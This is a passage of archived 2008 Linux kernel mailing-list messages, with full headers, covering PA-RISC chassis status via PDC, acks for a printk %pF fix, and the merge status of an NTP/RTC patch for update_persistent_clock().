	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 21:36:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd90w-0005Tb-4k
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 21:36:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751502AbYIITff (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2008 15:35:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753385AbYIITff
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Sep 2008 15:35:35 -0400
Original-Received: from mail-gx0-f16.google.com ([209.85.217.16]:62779 "EHLO
	mail-gx0-f16.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751502AbYIITfe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2008 15:35:34 -0400
Original-Received: by gxk9 with SMTP id 9so11570052gxk.13
        for <linux-parisc@vger.kernel.org>; Tue, 09 Sep 2008 12:35:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=DySeiEXeRRoD+/57kJjR2L+2xYFNA+/frM7jmVskJ7c=;
        b=SNt1HuB0lD4rERFBRg+fKWcH8itG2DV1tBJZ46HaeRbzCsWk7l1Ofm/qakkULk9xI3
         G1/b0MXnsdeLhdwSIRyj+S3+8ejGuJEGY7RrQDjuj3McEw890n++kdy/ycNazk6t4Kql
         dyt1YwvZqg3mvm45y6WQ6Xwp+RYDAyisgV0Kc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=N7v32RF3b/sLjypwGWWzdy+/AYRFGL0Ak2bBLrWAUROJO+Ji2FrkGFSoVHX4ZKzqPa
         QcH8879MhUIKnCzqklNKK0GZ0DK2B34Daqo2x0/D2SPD6HANy262hTQPTJ0pe2i6CmYL
         OMxJv/Uikw8WkZSXzizGkBuVnEEQkAKCCUSPo=
Original-Received: by 10.90.113.17 with SMTP id l17mr187826agc.20.1220988932986;
        Tue, 09 Sep 2008 12:35:32 -0700 (PDT)
Original-Received: by 10.90.63.6 with HTTP; Tue, 9 Sep 2008 12:35:32 -0700 (PDT)
In-Reply-To: <20080909192010.0207A4E2A@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 5c2f6257a404b133
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:776 gmane.linux.debian.devel.kernel:41256 gmane.linux.debian.ports.hppa:5508
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/776>

On Tue, Sep 9, 2008 at 9:20 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> This I2C bus is not acessible by the operating system (as far as I know).
>
> HP-UX seems to be able to access fan and power status somehow.  It

Fan and power status are accessed through PDC. That's what I do with
the pdc_chassis driver, and what's exposed in /proc/chassis on !PAT
boxes (I don't have the PAT specs to implement the proper calls,
unfortunately). AFAIK, there's no need to use i2c to retrieve that
info, it's all PDC glue.

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.cross-arch,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Correct printk %pF to work on all architectures
Date: Wed, 10 Sep 2008 08:05:18 +1000
Lines: 27
Approved: news@gmane.org
Message-ID: <1220997918.4879.392.camel@pasglop>
References: <1220481754.3254.42.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031546310.3515@nehalem.linux-foundation.org>
	 <1220482853.3254.47.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031602270.3515@nehalem.linux-foundation.org>
	 <1220484812.3254.59.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031636320.3515@nehalem.linux-foundation.org>
	 <1220492616.3254.64.camel@localhost.localdomain>
	 <1220567811.4879.85.camel@pasglop>
	 <57C9024A16AD2D4C97DC78E552063EA30A0DC383@orsmsx505.amr.corp.intel.com>
	 <1220969561.3334.7.camel@localhost.localdomain>
	 <20080909180840.GA1940@phobos.i.cabal.ca>
Reply-To: benh@kernel.crashing.org
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220997981 6589 80.91.229.12 (9 Sep 2008 22:06:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 22:06:21 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	"Luck, Tony" <tony.luck@intel.com>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	"linuxppc-dev@ozlabs.org" <linuxppc-dev@ozlabs.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Sep 10 00:07:16 2008
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KdBMh-0000cv-Ix
	for glpi-linux-ia64-2@gmane.org; Wed, 10 Sep 2008 00:07:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752212AbYIIWGL (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 9 Sep 2008 18:06:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753379AbYIIWGL
	(ORCPT <rfc822;linux-ia64-outgoing>); Tue, 9 Sep 2008 18:06:11 -0400
Original-Received: from gate.crashing.org ([63.228.1.57]:35244 "EHLO gate.crashing.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752212AbYIIWGJ (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Tue, 9 Sep 2008 18:06:09 -0400
Original-Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by gate.crashing.org (8.14.1/8.13.8) with ESMTP id m89M5I0s028642;
	Tue, 9 Sep 2008 17:05:19 -0500
In-Reply-To: <20080909180840.GA1940@phobos.i.cabal.ca>
X-Mailer: Evolution 2.22.3.1 
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:19432 gmane.linux.kernel.cross-arch:2105 gmane.linux.ports.ppc64.devel:46695 gmane.linux.ports.parisc:777
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/777>

On Tue, 2008-09-09 at 14:08 -0400, Kyle McMartin wrote:
> On Tue, Sep 09, 2008 at 09:12:41AM -0500, James Bottomley wrote:
> > OK, so could we get this in to -rc5 please?  It's a bug fix for parisc
> > since we're currently printing rubbish.
> > 
> 
> While I suppose it's a "parisc" patch, I'm not going to try to push it
> unless either Linus just applies it, or we get an ack from the ppc/ia64
> folks too.
> 
> ... That said, please apply it, Linus. :)
> 
> Acked-by: Kyle McMartin <kyle@mcmartin.ca>

Got one from us already but here it is again

Acked-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>

Cheers,
Ben.


--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Wed, 10 Sep 2008 14:04:17 -0700
Lines: 63
Approved: news@gmane.org
Message-ID: <20080910140417.bc35c199.akpm@linux-foundation.org>
References: <200809081629.21125.david-b@pacbell.net>
	<20080908.164427.216880550.davem@davemloft.net>
	<200809081755.26148.david-b@pacbell.net>
	<20080908.195235.200905674.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1221080740 26903 80.91.229.12 (10 Sep 2008 21:05:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Sep 2008 21:05:40 +0000 (UTC)
Cc: david-b@pacbell.net, James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, alessandro.zummo@towertech.it,
	Thomas Gleixner <tglx@linutronix.de>
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 10 23:06:35 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KdWtL-0002Ge-27
	for glpp-linux-parisc@gmane.org; Wed, 10 Sep 2008 23:06:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752326AbYIJVFU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Sep 2008 17:05:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752585AbYIJVFT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 10 Sep 2008 17:05:19 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:52536 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752253AbYIJVFS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Sep 2008 17:05:18 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id m8AL4JvU029657
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 10 Sep 2008 14:04:20 -0700
Original-Received: from akpm.corp.google.com (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with SMTP id m8AL4HFq026118;
	Wed, 10 Sep 2008 14:04:18 -0700
In-Reply-To: <20080908.195235.200905674.davem@davemloft.net>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.20; i486-pc-linux-gnu)
X-Spam-Status: No, hits=-4.852 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:778 gmane.linux.kernel:732165
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/778>

On Mon, 08 Sep 2008 19:52:35 -0700 (PDT)
David Miller <davem@davemloft.net> wrote:

> From: David Brownell <david-b@pacbell.net>
> Date: Mon, 8 Sep 2008 17:55:25 -0700
> 
> > On Monday 08 September 2008, David Miller wrote:
> > > From: David Brownell <david-b@pacbell.net>
> > > Date: Mon, 8 Sep 2008 16:29:20 -0700
> > > 
> > > > That said, there's a bit of unresolved stuff around NTP hooks
> > > > in the kernel.  Some patches are pending to let thtem work with
> > > > the RTC framework -- where writing an RTC may need to sleep,
> > > > for example because the RTC is on an I2C or SPI bus.  And
> > > > then there's the discussion of whether that shouldn't all be
> > > > handled by NTPD anyway, no special kernel support desired.
> > > > Alessandro has opinions there.  ;)
> > > 
> > > My update_persistent_clock() on sparc64 is:
> > > 
> > > int update_persistent_clock(struct timespec now)
> > > {
> > > 	struct rtc_device *rtc = rtc_class_open("rtc0");
> > 
> > I'd be tempted to cache that ... notice how you never
> > close it, too.  That will goof lots of refcounts...
> 
> Well if I cache it then we'll hold it forever and that's not
> so nice right?
> 
> I'm going to put the missing rtc_close() in there for now to
> fix the leak.
> 
> I'm happy to cache this if you think it's warranted, but then
> this is like saying that the refcount doesn't matter :-)
> 
> > =============== CUT ON THE DOTTED LINE ==================
> > Subject: ntp: let update_persistent_clock() sleep
> > From: "Maciej W. Rozycki" <macro@linux-mips.org>
> 
> I see, as Paul mentioned this is needed for stuff like RTCs
> behind I2C.
> 
> This change isn't in Linus's tree yet.

Should it be?

Its current status is: stuck in -mm.  I've sent it to Thomas a couple
of times marked "for 2.6.27?" and he might have applied it now (I'm a
few days behind, waiting for linux-next to start up again).

It was not included in Thomas's recent mainline pull request:

From: Thomas Gleixner <tglx@tglx.de>
Subject: [GIT pull] timer updates for 2.6.27
Date: Tue, 9 Sep 2008 22:32:39 +0200 (CEST)


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Randy.Dunlap" <rdunlap@xenotime.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Wed, 10 Sep 2008 14:09:31 -0700 (PDT)
Lines: 72
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0809101407490.7159@shark.he.net>
References: <200809081629.21125.david-b@pacbell.net>
 <20080908.164427.216880550.davem@davemloft.net> <200809081755.26148.david-b@pacbell.net>
 <20080908.195235.200905674.davem@davemloft.net> <20080910140417.bc35c199.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1221080990 28029 80.91.229.12 (10 Sep 2008 21:09:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Sep 2008 21:09:50 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>, david-b@pacbell.net,
	James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, alessandro.zummo@towertech.it,
	Thomas Gleixner <tglx@linutronix.de>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 10 23:10:44 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KdWxU-0003Oh-Nj
	for glpp-linux-parisc@gmane.org; Wed, 10 Sep 2008 23:10:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752720AbYIJVJi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Sep 2008 17:09:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752765AbYIJVJi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 10 Sep 2008 17:09:38 -0400
Original-Received: from xenotime.net ([66.160.160.81]:50572 "HELO xenotime.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752585AbYIJVJh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Sep 2008 17:09:37 -0400
Original-Received: from shark.he.net ([66.160.160.2]) by xenotime.net for <linux-parisc@vger.kernel.org>; Wed, 10 Sep 2008 14:09:31 -0700
X-X-Sender: rddunlap@shark.he.net
In-Reply-To: <20080910140417.bc35c199.akpm@linux-foundation.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:779 gmane.linux.kernel:732167
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/779>

On Wed, 10 Sep 2008, Andrew Morton wrote:

> On Mon, 08 Sep 2008 19:52:35 -0700 (PDT)
> David Miller <davem@davemloft.net> wrote:
> 
> > From: David Brownell <david-b@pacbell.net>
> > Date: Mon, 8 Sep 2008 17:55:25 -0700
> > 
> > > On Monday 08 September 2008, David Miller wrote:
> > > > From: David Brownell <david-b@pacbell.net>
> > > > Date: Mon, 8 Sep 2008 16:29:20 -0700
> > > > 
> > > > > That said, there's a bit of unresolved stuff around NTP hooks
> > > > > in the kernel.  Some patches are pending to let thtem work with
> > > > > the RTC framework -- where writing an RTC may need to sleep,
> > > > > for example because the RTC is on an I2C or SPI bus.  And
> > > > > then there's the discussion of whether that shouldn't all be
> > > > > handled by NTPD anyway, no special kernel support desired.
> > > > > Alessandro has opinions there.  ;)
> > > > 
> > > > My update_persistent_clock() on sparc64 is:
> > > > 
> > > > int update_persistent_clock(struct timespec now)
> > > > {
> > > > 	struct rtc_device *rtc = rtc_class_open("rtc0");
> > > 
> > > I'd be tempted to cache that ... notice how you never
> > > close it, too.  That will goof lots of refcounts...
> > 
> > Well if I cache it then we'll hold it forever and that's not
> > so nice right?
> > 
> > I'm going to put the missing rtc_close() in there for now to
> > fix the leak.
> > 
> > I'm happy to cache this if you think it's warranted, but then
> > this is like saying that the refcount doesn't matter :-)
> > 
> > > =============== CUT ON THE DOTTED LINE ==================
> > > Subject: ntp: let update_persistent_clock() sleep
> > > From: "Maciej W. Rozycki" <macro@linux-mips.org>
> > 
> > I see, as Paul mentioned this is needed for stuff like RTCs
> > behind I2C.
> > 
> > This change isn't in Linus's tree yet.
> 
> Should it be?
> 
> Its current status is: stuck in -mm.  I've sent it to Thomas a couple
> of times marked "for 2.6.27?" and he might have applied it now (I'm a
> few days behind, waiting for linux-next to start up again).

This is something that you can attempt (again) to address next week along
with other process issues...

Maybe travel time/delay is also involved (for people other than Mr. Rothwell).


> It was not included in Thomas's recent mainline pull request:
> 
> From: Thomas Gleixner <tglx@tglx.de>
> Subject: [GIT pull] timer updates for 2.6.27
> Date: Tue, 9 Sep 2008 22:32:39 +0200 (CEST)

-- 
~Randy
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Brownell <david-b@pacbell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Wed, 10 Sep 2008 14:19:04 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <200809101419.05499.david-b@pacbell.net>
References: <200809081629.21125.david-b@pacbell.net> <20080910140417.bc35c199.akpm@linux-foundation.org> <Pine.LNX.4.64.0809101407490.7159@shark.he.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1221081562 30358 80.91.229.12 (10 Sep 2008 21:19:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Sep 2008 21:19:22 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	David Miller <davem@davemloft.net>,
	James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, alessandro.zummo@towertech.it,
	Thomas Gleixner <tglx@linutronix.de>
To: "Randy.Dunlap" <rdunlap@xenotime.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 10 23:20:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KdX6i-0005iX-HZ
	for glpp-linux-parisc@gmane.org; Wed, 10 Sep 2008 23:20:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752765AbYIJVTK convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Sep 2008 17:19:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752787AbYIJVTK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 10 Sep 2008 17:19:10 -0400
Original-Received: from smtp119.sbc.mail.sp1.yahoo.com ([69.147.64.92]:28737 "HELO
	smtp119.sbc.mail.sp1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1752764AbYIJVTI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Sep 2008 17:19:08 -0400
Original-Received: (qmail 88070 invoked from network); 10 Sep 2008 21:19:07 -0000
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=s1024; d=pacbell.net;
  h=Received:X-YMail-OSG:X-Yahoo-Newman-Property:From:To:Subject:Date:User-Agent:Cc:References:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:Content-Disposition:Message-Id;
  b=RkfZ5GYbHWkWpJWdWPaNy4yMicxAGlzB/Mjht+kqX56tplwkhzyn7xlTqXIsxdCXsfBMIjkF+YaRS1rohWUEYObqzQZWc73Ss1HEIU3cQ6gZ/DWRz/An2wEw0SN2VbByIf3kucQ9M3tbzWpCWVtaBhUzJpRsfKeVdNb3UlO+fjU=  ;
Original-Received: from unknown (HELO pogo.local) (david-b@pacbell.net@69.226.231.171 with plain)
  by smtp119.sbc.mail.sp1.yahoo.com with SMTP; 10 Sep 2008 21:19:07 -0000
X-YMail-OSG: uaBijWYVM1lqMgO_o56zE0kyKvgUJ.Nstcw9JqxWqMZzcsAfovGZlXmRhiBuz0gm3FyxWjy.uBsUz0QlC9e13qh8TlQm_vi9U7VQydemuqkzZQLD14OEBbyGrY5dpQU-
X-Yahoo-Newman-Property: ymail-3
User-Agent: KMail/1.9.9
In-Reply-To: <Pine.LNX.4.64.0809101407490.7159@shark.he.net>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:780 gmane.linux.kernel:732170
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/780>

On Wednesday 10 September 2008, Randy.Dunlap wrote:
>=20
> > > > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D CUT ON THE DOTTED=
 LINE =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> > > > Subject: ntp: let update_persistent_clock() sleep
> > > > From: "Maciej W. Rozycki" <macro@linux-mips.org>
> > >=20
> > > I see, as Paul mentioned this is needed for stuff like RTCs
> > > behind I2C.
> > >=20
> > > This change isn't in Linus's tree yet.
> >=20
> > Should it be?

IMO if it doesn't make 2.6.27, it should merge for 2.6.28 early-ish.

=20
> > Its current status is: stuck in -mm. =A0I've sent it to Thomas a co=
uple
> > of times marked "for 2.6.27?" and he might have applied it now (I'm=
 a
> > few days behind, waiting for linux-next to start up again).
>=20
> This is something that you can attempt (again) to address next week a=
long
> with other process issues...

I don't think anyone in particular has been _pushing_ to resolve these
NTP related issues ... lack of urgency.  Maybe it's fair to think of
that as a process issue.  If DaveM wants SPARC64 to completely remove
its legacy RTC support for some release (which?) then:  (a) great! and
(b) that should be sufficient urgency.

There was, I think, another patch related to this one.  Then there may
be a few other loose ends to tie up also.

- Dave
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix RTC_CLASS regression with PARISC
Date: Wed, 10 Sep 2008 14:20:47 -0700 (PDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <20080910.142047.265458325.davem@davemloft.net>
References: <20080910140417.bc35c199.akpm@linux-foundation.org>
	<Pine.LNX.4.64.0809101407490.7159@shark.he.net>
	<200809101419.05499.david-b@pacbell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1221081679 30888 80.91.229.12 (10 Sep 2008 21:21:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Sep 2008 21:21:19 +0000 (UTC)
Cc: rdunlap@xenotime.net, akpm@linux-foundation.org,
	James.Bottomley@hansenpartnership.com,
	torvalds@linux-foundation.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, alessandro.zummo@towertech.it,
	tglx@linutronix.de
To: david-b@pacbell.net
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 10 23:22:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KdX8Q-0006qs-Cz
	for glpp-linux-parisc@gmane.org; Wed, 10 Sep 2008 23:21:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752765AbYIJVUz convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Sep 2008 17:20:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752988AbYIJVUz
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 10 Sep 2008 17:20:55 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:52908
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1752765AbYIJVUy convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Sep 2008 17:20:54 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 2F8DAC8C186;
	Wed, 10 Sep 2008 14:20:48 -0700 (PDT)
In-Reply-To: <200809101419.05499.david-b@pacbell.net>
X-Mailer: Mew version 6.1 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:781 gmane.linux.kernel:732172
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/781>

=46rom: David Brownell <david-b@pacbell.net>
Date: Wed, 10 Sep 2008 14:19:04 -0700

> On Wednesday 10 September 2008, Randy.Dunlap wrote:
> >=20
> > > > > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D CUT ON THE DOTT=
ED LINE =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> > > > > Subject: ntp: let update_persistent_clock() sleep
> > > > > From: "Maciej W. Rozycki" <macro@linux-mips.org>
> > > >=20
> > > > I see, as Paul mentioned this is needed for stuff like RTCs
> > > > behind I2C.
> > > >=20
> > > > This change isn't in Linus's tree yet.
> > >=20
> > > Should it be?
>=20
